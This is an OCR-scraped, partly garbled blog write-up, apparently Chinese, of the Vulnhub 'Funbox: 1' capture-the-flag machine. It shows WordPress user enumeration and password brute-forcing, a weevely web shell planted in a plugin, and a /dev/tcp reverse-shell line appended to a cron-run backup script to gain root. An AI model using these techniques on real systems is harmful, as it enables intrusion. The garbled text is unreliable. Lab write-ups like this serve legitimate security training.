Vulnhub#E§LFunbox: 1 writeup

812123 F 2022-01-11 17:38:30 KA\ 998 R

KL wunhub CEFRAE:  linux 24

AL B : ASONE EJRBISCE, #4E CC 4.0 BY-SA FRALIMN, HEIEM LSl A M A= 1 .
ACEERE: https://blog.csdn.net/xingjinhao123/article/details/122437594

vulnhub ERUCRIZ KA

9 FE 0Tk

TR EE

T#EHhhE: https://www.vuinhub.com/entry/funbox-1,518/

Description
Boot2Roat | This is a reallife szenaria, but easy going. You have 1o enumerate and understand the szenario to get the root-flag in round about
20min.

This ¥ is createdfested with Virtualbex, Maybe it works with vimearne
f you need hints. call me an twitter: @0815R2d2

Harve fun...

This works better with VirtualBiox rather than Vivbwane
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BHhosts

localhost
52 funbox.fritz.

# The following lines are desirable for IPv6 cap
t ip6-localhost ip6-loopb

-allnoc

allrouters
vulnuni.loca
106.108 deathnote.vuln
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TECHNOLOGIES MORE INFO - Export

AEERRA (CMS) BRIERG

& WordPress 542 @ Ubuntu
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# WordPress 542 MySQL

FHRE JavaScript &

Google Font API & JQuery 1.124

@ Twitter Emoji (Twemoli) & |Query Migrate 141

Web [ 4528 WordPress themes

# Apache 2441 W Twenty Seventeen
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a] LA# F wpscanZ iR He2é T i P Fdd 4 :

wpscan --url http:/funbox.fritz.box/ --enumerate u
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wpscan --url http://funbox fritz.box/ -P /usr/share/wordlists/rockyou.txt --max-threads 100

TR % fjoe: 12345 admin: iubire
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Dashboard

Welcoma ta WordPress!
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code1
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i FweevelyiE
weevely http://192.168.1.152/wp-content/plugins/akismet/index.php x

/home/kali

192.168.1.1 content/plugins/akismet/index.php x

code2

Edit Plugins

Edfiting akismetfndes. phe [inactive] e ———
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kaliFF g M T

e /home/kali
1234
listening on [any] 1.

WARNING: Falled to dsemaonise. This is quite commaon and not fatal. Successfully apened reverse shell to 192.168.1.140: 1234 ERROR: Shell conmection terminated

BRI Eshell

Shome/lkali

] from CUNKNOWN) [192.168.1.152]
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-content/plugins/akismet % cd /home

m information as of N Jan 2822 @2:37:51 PM UTC
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$ find / -user joe 2 ev/null
/null: restricted: cannot redirect output
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$ cd .
$ 1s

$ cd funny/
$ 1s

y funny
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funny

Z—B/EE, X/ .backup.shiiA LRk E B 4T, EAREFRN, SE—BHE, backup.sh#i< L HE RRIEIT
—. XBEWEF T backup.shit Rt 2777

funbox : . $ vim
afunbox: % cat

bash -i &>/dev/tcp/192.168.1.140/4444 <&1'

kaliFFJE A, &f5—4&

® /home/kali
L4ah
listening on [any] 4444 ...
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/home/kali
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funny fRIERTES, FRRE 384T — T /home/funny/ . backup. sh

root@funbox: /var/spool/cron/crontabs# cat funny

cat funny
DO NOT EDIT THIS FILE - edit the master and reinstall.
(/tmp/crontab.n8Fr20/crontab installed on Fri Jun 19 14:33:06 2020)
(Cron version $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
Edit this file to introduce tasks to be run by cron.

Each task to run has to be defined through a single line
indicating with different fields when the task will be run
and what command to run for the task

To define the time you can provide concrete values for
minute (m), hour (h), day of month (dom), month (mon),
and day of week (dow) or use '*' in these fields (for 'any').

daemon's notion of time and timezones.

Output of the crontab jobs (including errors) is sent through
email to the user the crontab file belongs to (unless redirected).

For example, you can run a backup of all your user accounts
at 5 a.m every week with:

05 1 tar -zcf /var/backups/home.tgz /home

For more information see the manual pages of crontab(5) and cron(8)
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# Notice that tasks will be started based on the cron's system
H#
i3
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m h dom mon dow command
2 home/funny/.backup.sh

root I ERESs, K58 HAT— T /home/Ffunny/.backup.sh

root@funbox:/var/spool/cron/crontabs# cat root

cat root
DO NOT EDIT THIS FILE - edit the master and reinstall.
(/tmp/crontab.gcHh7z/crontab installed on Fri Jun 19 13:57:00 2020)
(Cron version $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)

Edit this file to introduce tasks to be run by cron.

Each task to run has to be defined through a single line
indicating with different fields when the task will be run
and what command to run for the task

To define the time you can provide concrete values for

and day of week (dow) or use '*' in these fields (for 'any').

Notice that tasks will be started based on the cron's system

daemon's notion of time and timezones.

Output of the crontab jobs (including errors) is sent through
email to the user the crontab file belongs to (unless redirected).

For example, you can run a backup of all your user accounts
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# at 5 a.m every week with:
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05 1 tar -zcf /var/backups/home.tgz /home
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[
# For more information see the manual pages of crontab(5) and cron(8)

[

# m h dom mon dow command

5 home/funny/.backup.sh
BIhEFlflag

root@funbox:/var/spool/cron/crontabs# cd
cd

root@funbox:~# 1s

1s
flag.txt
mbox

@funbox:~# cat flag.txt
cat flag.txt
Great ! You did it...
FUNBOX - made by @@815R2d2
root@funbox:~# l
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